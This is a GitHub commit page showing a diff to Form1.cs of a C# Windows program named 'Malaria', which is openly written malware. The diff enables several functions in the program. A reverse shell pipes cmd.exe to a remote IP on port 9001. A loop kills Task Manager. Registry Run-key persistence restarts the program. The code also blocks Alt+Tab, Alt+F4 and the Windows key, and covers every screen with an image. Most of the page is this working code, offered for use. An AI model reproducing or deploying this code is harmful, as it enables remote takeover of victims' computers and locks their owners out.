Skip to content

Commit

Permalink
Simplified the Code
Browse files Browse the repository at this point in the history
  • Loading branch information
Join-Exception committed Dec 21, 2024
1 parent 781d98a commit e4684f1
Showing 1 changed file with 40 additions and 19 deletions.
59 changes: 40 additions & 19 deletions Form1.cs
Original file line number Diff line number Diff line change
Expand Up @@ -20,18 +20,29 @@ public partial class Malaria : Form
public Malaria()
{
InitializeComponent();

// Display a custom image on all connected screens
DisplayImageOnAllScreens();
//new Thread(KillTaskManager).Start();
//new Thread(AutoStart).Start();

// Start a new thread for the reverse shell
new Thread(StartReverseShell).Start();
// Start a new thread for the Taskmanager Killer
new Thread(KillTaskManager).Start();
// Start a new thread to put the Program into Start-up
new Thread(AutoStart).Start();
// Enable preview of key events in this form
KeyPreview = true;

// Hook global keyboard events for key interception
_globalHook = Hook.GlobalEvents();
_globalHook.KeyDown += GlobalHook_KeyDown;
}

private void StartReverseShell()
{
string serverIp = ""; //put here your ip(can be local to test localy)
int serverPort = 9001; //port(you have to forward the port if you do this on your router)
// Server IP and port configuration
string serverIp = ""; // Replace with your IP (can be local for testing purposes)
int serverPort = 9001; // Replace with the desired port (ensure it's forwarded if used on a router)

try
{
Expand All @@ -43,19 +54,22 @@ private void StartReverseShell()
{
streamWriter = new StreamWriter(stream) { AutoFlush = true };

StringBuilder strInput = new StringBuilder();

// Create a process to interact with cmd.exe
Process p = new Process();
p.StartInfo.FileName = "sh"; // Use "cmd.exe" for Windows
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;

// Handle output data from the command line
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

// Read commands from the server and pass them to cmd.exe
StringBuilder strInput = new StringBuilder();
while (true)
{
strInput.Clear();
Expand All @@ -71,57 +85,62 @@ private void StartReverseShell()
}
catch (Exception ex)
{
// Log any errors encountered during execution
Console.WriteLine("Error: " + ex.Message);
}
}

private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
// Send the output from cmd.exe back to the server
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
streamWriter.WriteLine(outLine.Data); // Send output back to the server
streamWriter.WriteLine(outLine.Data);
}
catch (Exception err)
{
// Handle exceptions (e.g., log them)
// Handle errors during output transmission
Console.WriteLine("Error sending output: " + err.Message);
}
}
}

private void GlobalHook_KeyDown(object sender, KeyEventArgs e)
{
// Block ALT + TAB
// Intercept ALT + TAB key combination and block it
if (e.Alt && e.KeyCode == Keys.Tab)
{
e.Handled = true; // Prevent the default action
e.Handled = true; // Prevent default action
return;
}

// Block WIN + D
// Intercept Windows key (WIN) and block it
if (e.KeyCode == Keys.LWin || e.KeyCode == Keys.RWin)
{
e.Handled = true; // Prevent the default action
e.Handled = true; // Prevent default action
return;
}

// Block ALT + F4
// Intercept ALT + F4 key combination and block it
if (e.Alt && e.KeyCode == Keys.F4)
{
e.Handled = true; // Prevent the default action
e.Handled = true; // Prevent default action
return;
}
}

private static void AutoStart()
{
// Add the application to the Windows startup registry
var registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
registryKey?.SetValue("Malaria", Application.ExecutablePath);
}

private static void DisplayImageOnAllScreens()
{
// Loop through all connected screens and display a full-screen form with a background image
foreach (var screen in Screen.AllScreens)
{
var form = new Form
Expand All @@ -135,6 +154,7 @@ private static void DisplayImageOnAllScreens()
BackgroundImageLayout = ImageLayout.Stretch
};

// Retrieve the background image from resources
var imageResource = Resources.ResourceManager.GetObject("bg");

if (imageResource is byte[] imageBytes)
Expand All @@ -152,6 +172,7 @@ private static void DisplayImageOnAllScreens()

private static void KillTaskManager()
{
// Continuously monitor for and terminate Task Manager processes
while (true)
{
var processes = Process.GetProcessesByName("taskmgr");
Expand All @@ -161,24 +182,24 @@ private static void KillTaskManager()

protected override void WndProc(ref Message m)
{
// Intercept Windows system commands to block ALT + F4 (form closure)
const int wmSysCommand = 0x0112;
const int scClose = 0xF060;

// Block ALT + F4
if (m.Msg == wmSysCommand && (int)m.WParam == scClose)
{
return; // Prevent the form from closing
}

base.WndProc(ref m); // Call the base method to ensure normal processing for other messages
base.WndProc(ref m); // Call base method for other messages
}

protected override void OnFormClosing(FormClosingEventArgs e)
{
// Unhook the global hook when the form is closing
// Unhook the global keyboard event hook when the form is closing
_globalHook.KeyDown -= GlobalHook_KeyDown;
_globalHook.Dispose();
base.OnFormClosing(e);
}
}
}
}

0 comments on commit e4684f1

Please # to comment.